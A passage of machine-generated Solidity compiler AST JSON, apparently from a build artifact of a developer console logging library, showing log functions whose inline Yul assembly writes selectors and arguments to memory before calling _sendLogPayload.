iveSrc":"44457:2:22","nodeType":"YulIdentifier","src":"44457:2:22"}]},{"nativeSrc":"44487:17:22","nodeType":"YulAssignment","src":"44487:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"44499:4:22","nodeType":"YulLiteral","src":"44499:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"44493:5:22","nodeType":"YulIdentifier","src":"44493:5:22"},"nativeSrc":"44493:11:22","nodeType":"YulFunctionCall","src":"44493:11:22"},"variableNames":[{"name":"m5","nativeSrc":"44487:2:22","nodeType":"YulIdentifier","src":"44487:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"44576:4:22","nodeType":"YulLiteral","src":"44576:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"44582:10:22","nodeType":"YulLiteral","src":"44582:10:22","type":"","value":"0xdbb4c247"}],"functionName":{"name":"mstore","nativeSrc":"44569:6:22","nodeType":"YulIdentifier","src":"44569:6:22"},"nativeSrc":"44569:24:22","nodeType":"YulFunctionCall","src":"44569:24:22"},"nativeSrc":"44569:24:22","nodeType":"YulExpressionStatement","src":"44569:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"44613:4:22","nodeType":"YulLiteral","src":"44613:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"44619:2:22","nodeType":"YulIdentifier","src":"44619:2:22"}],"functionName":{"name":"mstore","nativeSrc":"44606:6:22","nodeType":"YulIdentifier","src":"44606:6:22"},"nativeSrc":"44606:16:22","nodeType":"YulFunctionCall","src":"44606:16:22"},"nativeSrc":"44606:16:22","nodeType":"YulExpressionStatement","src":"44606:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"44642:4:22","nodeType":"YulLiteral","src":"44642:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"44648:4:22","nodeType":"YulLiteral","src":"44648:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"44635:6:22","nodeType":"YulIdentifier","src":"44635:6:22"},"nativeSrc":"44635:18:22","nodeType":"YulFunctionCall","src":"44635:18:22"},"nativeSrc":"44635:18:22","nodeType":"YulExpressionStatement","src":"44635:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"44673:4:22","nodeType":"YulLiteral","src":"44673:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"44679:2:22","nodeType":"YulIdentifier","src":"44679:2:22"}],"functionName":{"name":"mstore","nativeSrc":"44666:6:22","nodeType":"YulIdentifier","src":"44666:6:22"},"nativeSrc":"44666:16:22","nodeType":"YulFunctionCall","src":"44666:16:22"},"nativeSrc":"44666:16:22","nodeType":"YulExpressionStatement","src":"44666:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"44707:4:22","nodeType":"YulLiteral","src":"44707:4:22","type":"","value":"0x80"},{"name":"p1","nativeSrc":"44713:2:22","nodeType":"YulIdentifier","src":"44713:2:22"}],"functionName":{"name":"writeString","nativeSrc":"44695:11:22","nodeType":"YulIdentifier","src":"44695:11:22"},"nativeSrc":"44695:21:22","nodeType":"YulFunctionCall","src":"44695:21:22"},"nativeSrc":"44695:21:22","nodeType":"YulExpressionStatement","src":"44695:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35125,"isOffset":false,"isSlot":false,"src":"44337:2:22","valueSize":1},{"declaration":35128,"isOffset":false,"isSlot":false,"src":"44367:2:22","valueSize":1},{"declaration":35131,"isOffset":false,"isSlot":false,"src":"44397:2:22","valueSize":1},{"declaration":35134,"isOffset":false,"isSlot":false,"src":"44427:2:22","valueSize":1},{"declaration":35137,"isOffset":false,"isSlot":false,"src":"44457:2:22","valueSize":1},{"declaration":35140,"isOffset":false,"isSlot":false,"src":"44487:2:22","valueSize":1},{"declaration":35117,"isOffset":false,"isSlot":false,"src":"44619:2:22","valueSize":1},{"declaration":35119,"isOffset":false,"isSlot":false,"src":"44713:2:22","valueSize":1},{"declaration":35121,"isOffset":false,"isSlot":false,"src":"44679:2:22","valueSize":1}],"id":35142,"nodeType":"InlineAssembly","src":"43959:767:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35144,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"44751:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":35145,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"44757:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":35143,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"44735:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35146,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44735:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35147,"nodeType":"ExpressionStatement","src":"44735:27:22"},{"AST":{"nativeSrc":"44781:185:22","nodeType":"YulBlock","src":"44781:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"44802:4:22","nodeType":"YulLiteral","src":"44802:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"44808:2:22","nodeType":"YulIdentifier","src":"44808:2:22"}],"functionName":{"name":"mstore","nativeSrc":"44795:6:22","nodeType":"YulIdentifier","src":"44795:6:22"},"nativeSrc":"44795:16:22","nodeType":"YulFunctionCall","src":"44795:16:22"},"nativeSrc":"44795:16:22","nodeType":"YulExpressionStatement","src":"44795:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"44831:4:22","nodeType":"YulLiteral","src":"44831:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"44837:2:22","nodeType":"YulIdentifier","src":"44837:2:22"}],"functionName":{"name":"mstore","nativeSrc":"44824:6:22","nodeType":"YulIdentifier","src":"44824:6:22"},"nativeSrc":"44824:16:22","nodeType":"YulFunctionCall","src":"44824:16:22"},"nativeSrc":"44824:16:22","nodeType":"YulExpressionStatement","src":"44824:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"44860:4:22","nodeType":"YulLiteral","src":"44860:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"44866:2:22","nodeType":"YulIdentifier","src":"44866:2:22"}],"functionName":{"name":"mstore","nativeSrc":"44853:6:22","nodeType":"YulIdentifier","src":"44853:6:22"},"nativeSrc":"44853:16:22","nodeType":"YulFunctionCall","src":"44853:16:22"},"nativeSrc":"44853:16:22","nodeType":"YulExpressionStatement","src":"44853:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"44889:4:22","nodeType":"YulLiteral","src":"44889:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"44895:2:22","nodeType":"YulIdentifier","src":"44895:2:22"}],"functionName":{"name":"mstore","nativeSrc":"44882:6:22","nodeType":"YulIdentifier","src":"44882:6:22"},"nativeSrc":"44882:16:22","nodeType":"YulFunctionCall","src":"44882:16:22"},"nativeSrc":"44882:16:22","nodeType":"YulExpressionStatement","src":"44882:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"44918:4:22","nodeType":"YulLiteral","src":"44918:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"44924:2:22","nodeType":"YulIdentifier","src":"44924:2:22"}],"functionName":{"name":"mstore","nativeSrc":"44911:6:22","nodeType":"YulIdentifier","src":"44911:6:22"},"nativeSrc":"44911:16:22","nodeType":"YulFunctionCall","src":"44911:16:22"},"nativeSrc":"44911:16:22","nodeType":"YulExpressionStatement","src":"44911:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"44947:4:22","nodeType":"YulLiteral","src":"44947:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"44953:2:22","nodeType":"YulIdentifier","src":"44953:2:22"}],"functionName":{"name":"mstore","nativeSrc":"44940:6:22","nodeType":"YulIdentifier","src":"44940:6:22"},"nativeSrc":"44940:16:22","nodeType":"YulFunctionCall","src":"44940:16:22"},"nativeSrc":"44940:16:22","nodeType":"YulExpressionStatement","src":"44940:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35125,"isOffset":false,"isSlot":false,"src":"44808:2:22","valueSize":1},{"declaration":35128,"isOffset":false,"isSlot":false,"src":"44837:2:22","valueSize":1},{"declaration":35131,"isOffset":false,"isSlot":false,"src":"44866:2:22","valueSize":1},{"declaration":35134,"isOffset":false,"isSlot":false,"src":"44895:2:22","valueSize":1},{"declaration":35137,"isOffset":false,"isSlot":false,"src":"44924:2:22","valueSize":1},{"declaration":35140,"isOffset":false,"isSlot":false,"src":"44953:2:22","valueSize":1}],"id":35148,"nodeType":"InlineAssembly","src":"44772:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"43781:3:22","parameters":{"id":35122,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35117,"mutability":"mutable","name":"p0","nameLocation":"43790:2:22","nodeType":"VariableDeclaration","scope":35150,"src":"43785:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35116,"name":"bool","nodeType":"ElementaryTypeName","src":"43785:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":35119,"mutability":"mutable","name":"p1","nameLocation":"43802:2:22","nodeType":"VariableDeclaration","scope":35150,"src":"43794:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35118,"name":"bytes32","nodeType":"ElementaryTypeName","src":"43794:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":35121,"mutability":"mutable","name":"p2","nameLocation":"43811:2:22","nodeType":"VariableDeclaration","scope":35150,"src":"43806:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35120,"name":"bool","nodeType":"ElementaryTypeName","src":"43806:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"43784:30:22"},"returnParameters":{"id":35123,"nodeType":"ParameterList","parameters":[],"src":"43829:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35185,"nodeType":"FunctionDefinition","src":"44978:1206:22","nodes":[],"body":{"id":35184,"nodeType":"Block","src":"45038:1146:22","nodes":[],"statements":[{"assignments":[35160],"declarations":[{"constant":false,"id":35160,"mutability":"mutable","name":"m0","nameLocation":"45056:2:22","nodeType":"VariableDeclaration","scope":35184,"src":"45048:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35159,"name":"bytes32","nodeType":"ElementaryTypeName","src":"45048:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35161,"nodeType":"VariableDeclarationStatement","src":"45048:10:22"},{"assignments":[35163],"declarations":[{"constant":false,"id":35163,"mutability":"mutable","name":"m1","nameLocation":"45076:2:22","nodeType":"VariableDeclaration","scope":35184,"src":"45068:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35162,"name":"bytes32","nodeType":"ElementaryTypeName","src":"45068:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35164,"nodeType":"VariableDeclarationStatement","src":"45068:10:22"},{"assignments":[35166],"declarations":[{"constant":false,"id":35166,"mutability":"mutable","name":"m2","nameLocation":"45096:2:22","nodeType":"VariableDeclaration","scope":35184,"src":"45088:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35165,"name":"bytes32","nodeType":"ElementaryTypeName","src":"45088:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35167,"nodeType":"VariableDeclarationStatement","src":"45088:10:22"},{"assignments":[35169],"declarations":[{"constant":false,"id":35169,"mutability":"mutable","name":"m3","nameLocation":"45116:2:22","nodeType":"VariableDeclaration","scope":35184,"src":"45108:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35168,"name":"bytes32","nodeType":"ElementaryTypeName","src":"45108:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35170,"nodeType":"VariableDeclarationStatement","src":"45108:10:22"},{"assignments":[35172],"declarations":[{"constant":false,"id":35172,"mutability":"mutable","name":"m4","nameLocation":"45136:2:22","nodeType":"VariableDeclaration","scope":35184,"src":"45128:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35171,"name":"bytes32","nodeType":"ElementaryTypeName","src":"45128:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35173,"nodeType":"VariableDeclarationStatement","src":"45128:10:22"},{"assignments":[35175],"declarations":[{"constant":false,"id":35175,"mutability":"mutable","name":"m5","nameLocation":"45156:2:22","nodeType":"VariableDeclaration","scope":35184,"src":"45148:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35174,"name":"bytes32","nodeType":"ElementaryTypeName","src":"45148:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35176,"nodeType":"VariableDeclarationStatement","src":"45148:10:22"},{"AST":{"nativeSrc":"45177:761:22","nodeType":"YulBlock","src":"45177:761:22","statements":[{"body":{"nativeSrc":"45220:313:22","nodeType":"YulBlock","src":"45220:313:22","statements":[{"nativeSrc":"45238:15:22","nodeType":"YulVariableDeclaration","src":"45238:15:22","value":{"kind":"number","nativeSrc":"45252:1:22","nodeType":"YulLiteral","src":"45252:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"45242:6:22","nodeType":"YulTypedName","src":"45242:6:22","type":""}]},{"body":{"nativeSrc":"45323:40:22","nodeType":"YulBlock","src":"45323:40:22","statements":[{"body":{"nativeSrc":"45352:9:22","nodeType":"YulBlock","src":"45352:9:22","statements":[{"nativeSrc":"45354:5:22","nodeType":"YulBreak","src":"45354:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"45340:6:22","nodeType":"YulIdentifier","src":"45340:6:22"},{"name":"w","nativeSrc":"45348:1:22","nodeType":"YulIdentifier","src":"45348:1:22"}],"functionName":{"name":"byte","nativeSrc":"45335:4:22","nodeType":"YulIdentifier","src":"45335:4:22"},"nativeSrc":"45335:15:22","nodeType":"YulFunctionCall","src":"45335:15:22"}],"functionName":{"name":"iszero","nativeSrc":"45328:6:22","nodeType":"YulIdentifier","src":"45328:6:22"},"nativeSrc":"45328:23:22","nodeType":"YulFunctionCall","src":"45328:23:22"},"nativeSrc":"45325:36:22","nodeType":"YulIf","src":"45325:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"45280:6:22","nodeType":"YulIdentifier","src":"45280:6:22"},{"kind":"number","nativeSrc":"45288:4:22","nodeType":"YulLiteral","src":"45288:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"45277:2:22","nodeType":"YulIdentifier","src":"45277:2:22"},"nativeSrc":"45277:16:22","nodeType":"YulFunctionCall","src":"45277:16:22"},"nativeSrc":"45270:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"45294:28:22","nodeType":"YulBlock","src":"45294:28:22","statements":[{"nativeSrc":"45296:24:22","nodeType":"YulAssignment","src":"45296:24:22","value":{"arguments":[{"name":"length","nativeSrc":"45310:6:22","nodeType":"YulIdentifier","src":"45310:6:22"},{"kind":"number","nativeSrc":"45318:1:22","nodeType":"YulLiteral","src":"45318:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"45306:3:22","nodeType":"YulIdentifier","src":"45306:3:22"},"nativeSrc":"45306:14:22","nodeType":"YulFunctionCall","src":"45306:14:22"},"variableNames":[{"name":"length","nativeSrc":"45296:6:22","nodeType":"YulIdentifier","src":"45296:6:22"}]}]},"pre":{"nativeSrc":"45274:2:22","nodeType":"YulBlock","src":"45274:2:22","statements":[]},"src":"45270:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"45387:3:22","nodeType":"YulIdentifier","src":"45387:3:22"},{"name":"length","nativeSrc":"45392:6:22","nodeType":"YulIdentifier","src":"45392:6:22"}],"functionName":{"name":"mstore","nativeSrc":"45380:6:22","nodeType":"YulIdentifier","src":"45380:6:22"},"nativeSrc":"45380:19:22","nodeType":"YulFunctionCall","src":"45380:19:22"},"nativeSrc":"45380:19:22","nodeType":"YulExpressionStatement","src":"45380:19:22"},{"nativeSrc":"45416:37:22","nodeType":"YulVariableDeclaration","src":"45416:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"45433:3:22","nodeType":"YulLiteral","src":"45433:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"45442:1:22","nodeType":"YulLiteral","src":"45442:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"45445:6:22","nodeType":"YulIdentifier","src":"45445:6:22"}],"functionName":{"name":"shl","nativeSrc":"45438:3:22","nodeType":"YulIdentifier","src":"45438:3:22"},"nativeSrc":"45438:14:22","nodeType":"YulFunctionCall","src":"45438:14:22"}],"functionName":{"name":"sub","nativeSrc":"45429:3:22","nodeType":"YulIdentifier","src":"45429:3:22"},"nativeSrc":"45429:24:22","nodeType":"YulFunctionCall","src":"45429:24:22"},"variables":[{"name":"shift","nativeSrc":"45420:5:22","nodeType":"YulTypedName","src":"45420:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"45481:3:22","nodeType":"YulIdentifier","src":"45481:3:22"},{"kind":"number","nativeSrc":"45486:4:22","nodeType":"YulLiteral","src":"45486:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"45477:3:22","nodeType":"YulIdentifier","src":"45477:3:22"},"nativeSrc":"45477:14:22","nodeType":"YulFunctionCall","src":"45477:14:22"},{"arguments":[{"name":"shift","nativeSrc":"45497:5:22","nodeType":"YulIdentifier","src":"45497:5:22"},{"arguments":[{"name":"shift","nativeSrc":"45508:5:22","nodeType":"YulIdentifier","src":"45508:5:22"},{"name":"w","nativeSrc":"45515:1:22","nodeType":"YulIdentifier","src":"45515:1:22"}],"functionName":{"name":"shr","nativeSrc":"45504:3:22","nodeType":"YulIdentifier","src":"45504:3:22"},"nativeSrc":"45504:13:22","nodeType":"YulFunctionCall","src":"45504:13:22"}],"functionName":{"name":"shl","nativeSrc":"45493:3:22","nodeType":"YulIdentifier","src":"45493:3:22"},"nativeSrc":"45493:25:22","nodeType":"YulFunctionCall","src":"45493:25:22"}],"functionName":{"name":"mstore","nativeSrc":"45470:6:22","nodeType":"YulIdentifier","src":"45470:6:22"},"nativeSrc":"45470:49:22","nodeType":"YulFunctionCall","src":"45470:49:22"},"nativeSrc":"45470:49:22","nodeType":"YulExpressionStatement","src":"45470:49:22"}]},"name":"writeString","nativeSrc":"45191:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"45212:3:22","nodeType":"YulTypedName","src":"45212:3:22","type":""},{"name":"w","nativeSrc":"45217:1:22","nodeType":"YulTypedName","src":"45217:1:22","type":""}],"src":"45191:342:22"},{"nativeSrc":"45546:17:22","nodeType":"YulAssignment","src":"45546:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"45558:4:22","nodeType":"YulLiteral","src":"45558:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"45552:5:22","nodeType":"YulIdentifier","src":"45552:5:22"},"nativeSrc":"45552:11:22","nodeType":"YulFunctionCall","src":"45552:11:22"},"variableNames":[{"name":"m0","nativeSrc":"45546:2:22","nodeType":"YulIdentifier","src":"45546:2:22"}]},{"nativeSrc":"45576:17:22","nodeType":"YulAssignment","src":"45576:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"45588:4:22","nodeType":"YulLiteral","src":"45588:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"45582:5:22","nodeType":"YulIdentifier","src":"45582:5:22"},"nativeSrc":"45582:11:22","nodeType":"YulFunctionCall","src":"45582:11:22"},"variableNames":[{"name":"m1","nativeSrc":"45576:2:22","nodeType":"YulIdentifier","src":"45576:2:22"}]},{"nativeSrc":"45606:17:22","nodeType":"YulAssignment","src":"45606:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"45618:4:22","nodeType":"YulLiteral","src":"45618:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"45612:5:22","nodeType":"YulIdentifier","src":"45612:5:22"},"nativeSrc":"45612:11:22","nodeType":"YulFunctionCall","src":"45612:11:22"},"variableNames":[{"name":"m2","nativeSrc":"45606:2:22","nodeType":"YulIdentifier","src":"45606:2:22"}]},{"nativeSrc":"45636:17:22","nodeType":"YulAssignment","src":"45636:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"45648:4:22","nodeType":"YulLiteral","src":"45648:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"45642:5:22","nodeType":"YulIdentifier","src":"45642:5:22"},"nativeSrc":"45642:11:22","nodeType":"YulFunctionCall","src":"45642:11:22"},"variableNames":[{"name":"m3","nativeSrc":"45636:2:22","nodeType":"YulIdentifier","src":"45636:2:22"}]},{"nativeSrc":"45666:17:22","nodeType":"YulAssignment","src":"45666:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"45678:4:22","nodeType":"YulLiteral","src":"45678:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"45672:5:22","nodeType":"YulIdentifier","src":"45672:5:22"},"nativeSrc":"45672:11:22","nodeType":"YulFunctionCall","src":"45672:11:22"},"variableNames":[{"name":"m4","nativeSrc":"45666:2:22","nodeType":"YulIdentifier","src":"45666:2:22"}]},{"nativeSrc":"45696:17:22","nodeType":"YulAssignment","src":"45696:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"45708:4:22","nodeType":"YulLiteral","src":"45708:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"45702:5:22","nodeType":"YulIdentifier","src":"45702:5:22"},"nativeSrc":"45702:11:22","nodeType":"YulFunctionCall","src":"45702:11:22"},"variableNames":[{"name":"m5","nativeSrc":"45696:2:22","nodeType":"YulIdentifier","src":"45696:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"45788:4:22","nodeType":"YulLiteral","src":"45788:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"45794:10:22","nodeType":"YulLiteral","src":"45794:10:22","type":"","value":"0x1093ee11"}],"functionName":{"name":"mstore","nativeSrc":"45781:6:22","nodeType":"YulIdentifier","src":"45781:6:22"},"nativeSrc":"45781:24:22","nodeType":"YulFunctionCall","src":"45781:24:22"},"nativeSrc":"45781:24:22","nodeType":"YulExpressionStatement","src":"45781:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"45825:4:22","nodeType":"YulLiteral","src":"45825:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"45831:2:22","nodeType":"YulIdentifier","src":"45831:2:22"}],"functionName":{"name":"mstore","nativeSrc":"45818:6:22","nodeType":"YulIdentifier","src":"45818:6:22"},"nativeSrc":"45818:16:22","nodeType":"YulFunctionCall","src":"45818:16:22"},"nativeSrc":"45818:16:22","nodeType":"YulExpressionStatement","src":"45818:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"45854:4:22","nodeType":"YulLiteral","src":"45854:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"45860:4:22","nodeType":"YulLiteral","src":"45860:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"45847:6:22","nodeType":"YulIdentifier","src":"45847:6:22"},"nativeSrc":"45847:18:22","nodeType":"YulFunctionCall","src":"45847:18:22"},"nativeSrc":"45847:18:22","nodeType":"YulExpressionStatement","src":"45847:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"45885:4:22","nodeType":"YulLiteral","src":"45885:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"45891:2:22","nodeType":"YulIdentifier","src":"45891:2:22"}],"functionName":{"name":"mstore","nativeSrc":"45878:6:22","nodeType":"YulIdentifier","src":"45878:6:22"},"nativeSrc":"45878:16:22","nodeType":"YulFunctionCall","src":"45878:16:22"},"nativeSrc":"45878:16:22","nodeType":"YulExpressionStatement","src":"45878:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"45919:4:22","nodeType":"YulLiteral","src":"45919:4:22","type":"","value":"0x80"},{"name":"p1","nativeSrc":"45925:2:22","nodeType":"YulIdentifier","src":"45925:2:22"}],"functionName":{"name":"writeString","nativeSrc":"45907:11:22","nodeType":"YulIdentifier","src":"45907:11:22"},"nativeSrc":"45907:21:22","nodeType":"YulFunctionCall","src":"45907:21:22"},"nativeSrc":"45907:21:22","nodeType":"YulExpressionStatement","src":"45907:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35160,"isOffset":false,"isSlot":false,"src":"45546:2:22","valueSize":1},{"declaration":35163,"isOffset":false,"isSlot":false,"src":"45576:2:22","valueSize":1},{"declaration":35166,"isOffset":false,"isSlot":false,"src":"45606:2:22","valueSize":1},{"declaration":35169,"isOffset":false,"isSlot":false,"src":"45636:2:22","valueSize":1},{"declaration":35172,"isOffset":false,"isSlot":false,"src":"45666:2:22","valueSize":1},{"declaration":35175,"isOffset":false,"isSlot":false,"src":"45696:2:22","valueSize":1},{"declaration":35152,"isOffset":false,"isSlot":false,"src":"45831:2:22","valueSize":1},{"declaration":35154,"isOffset":false,"isSlot":false,"src":"45925:2:22","valueSize":1},{"declaration":35156,"isOffset":false,"isSlot":false,"src":"45891:2:22","valueSize":1}],"id":35177,"nodeType":"InlineAssembly","src":"45168:770:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35179,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"45963:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":35180,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"45969:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":35178,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"45947:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35181,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45947:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35182,"nodeType":"ExpressionStatement","src":"45947:27:22"},{"AST":{"nativeSrc":"45993:185:22","nodeType":"YulBlock","src":"45993:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"46014:4:22","nodeType":"YulLiteral","src":"46014:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"46020:2:22","nodeType":"YulIdentifier","src":"46020:2:22"}],"functionName":{"name":"mstore","nativeSrc":"46007:6:22","nodeType":"YulIdentifier","src":"46007:6:22"},"nativeSrc":"46007:16:22","nodeType":"YulFunctionCall","src":"46007:16:22"},"nativeSrc":"46007:16:22","nodeType":"YulExpressionStatement","src":"46007:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"46043:4:22","nodeType":"YulLiteral","src":"46043:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"46049:2:22","nodeType":"YulIdentifier","src":"46049:2:22"}],"functionName":{"name":"mstore","nativeSrc":"46036:6:22","nodeType":"YulIdentifier","src":"46036:6:22"},"nativeSrc":"46036:16:22","nodeType":"YulFunctionCall","src":"46036:16:22"},"nativeSrc":"46036:16:22","nodeType":"YulExpressionStatement","src":"46036:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"46072:4:22","nodeType":"YulLiteral","src":"46072:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"46078:2:22","nodeType":"YulIdentifier","src":"46078:2:22"}],"functionName":{"name":"mstore","nativeSrc":"46065:6:22","nodeType":"YulIdentifier","src":"46065:6:22"},"nativeSrc":"46065:16:22","nodeType":"YulFunctionCall","src":"46065:16:22"},"nativeSrc":"46065:16:22","nodeType":"YulExpressionStatement","src":"46065:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"46101:4:22","node